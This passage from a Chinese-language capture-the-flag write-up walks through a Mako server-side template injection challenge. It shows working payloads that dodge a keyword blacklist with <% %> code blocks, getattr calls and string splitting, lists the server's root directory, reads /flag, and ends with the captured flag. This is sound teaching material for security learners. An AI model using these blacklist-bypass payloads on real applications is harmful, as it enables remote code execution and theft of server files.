${...}会被拦。[和]会被拦。.会被拦。- 字面量
flag也会被拦。
这几个限制加起来,其实就是不想让人舒服地写对象访问和读文件。比如正常情况下很自然会写:
${open('/flag').read()}但这里这条路完全走不通,因为:
${...}先死。.read()里的点也会死。/flag里的flag还是会死。
既然表达式输出通道 ${...} 被封了,就换一个思路,直接用代码块写回响应。Mako 的 <% ... %> 代码块还能执行,测试 payload 如下:
<% getattr(context,'write')('OK') %>回显成功变成了:
OK这一步很关键,后面其实就已经不是“能不能 RCE”了,而是“怎么在黑名单下把想看的内容拼出来并写回页面”。
这里用 getattr(context,'write') 也是为了顺手绕过点号过滤。本来会写成 context.write('OK'),但 . 被拦,所以直接换成 getattr。
确认有输出通道之后,先看文件系统里有什么,payload 写成:
<%! import os %><% getattr(context,'write')(str(getattr(os,'listdir')('/'))) %>回显里能看到这些关键路径:
['root', 'proc', 'boot', 'mnt', 'opt', 'etc', 'media', 'home', 'sys', 'usr', 'lib', 'lib64', 'bin', 'dev', 'sbin', 'srv', 'run', 'tmp', 'var', 'app', 'flag', 'docker-entrypoint.sh']这里直接就看见了 /flag,基本不用再绕远路了。
最后就是把读文件这一步写成不会触发 WAF 的形式。思路分三层:
- 不用
${...},改用<% ... %>。 - 不用
.read(),改成getattr(...,'read')()。 - 不直接写
/flag,改成'/f'+'lag'。
最终 payload:
<% getattr(context,'write')(str(getattr(open('/f'+'lag'),'read')())) %>提交后页面直接回显了 flag。
回头看这题,核心其实就两步:
- 先从
%报错和控制行执行把模板引擎锁到 Mako。 - 再用
getattr(context,'write')拿到不依赖${...}和点号的输出能力。
剩下的就是黑名单绕过,题目本身没有再藏别的东西。
FLAG
flag{stpas4m0-dqtq-4pz-81le-lukkhdsp8entf}